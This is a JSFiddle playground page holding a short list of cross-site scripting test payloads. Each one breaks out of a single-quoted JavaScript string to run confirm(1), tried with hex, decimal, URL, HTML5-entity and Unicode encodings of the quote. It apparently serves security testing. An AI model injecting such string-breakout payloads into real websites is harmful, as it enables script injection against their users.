JSFiddle - React, Tailwind, and code Playground

HTML

<script> var a = 'Injection Point'; </script>

<script> var a = ''; confirm(1); ''; </script>

// Hex Encoding of Single Quote
<script> var a = '&#x00027;; confirm(1); &#x00027; '; </script>

// Decimal Encoding of Single Quote
<script> var a = '&#39;; confirm(1); &#39; '; </script>

// URL Encoding of Single Quote
<script> var a = '%27; confirm(1); %27 '; </script>

// HTML5 Entity Encoding of Single Quote
<script> var a = '&apos;; confirm(1); &apos; '; </script>

// Unicode Encoded single quote
<script> var a = '\u0027 confirm(1); \u0027 '; </script>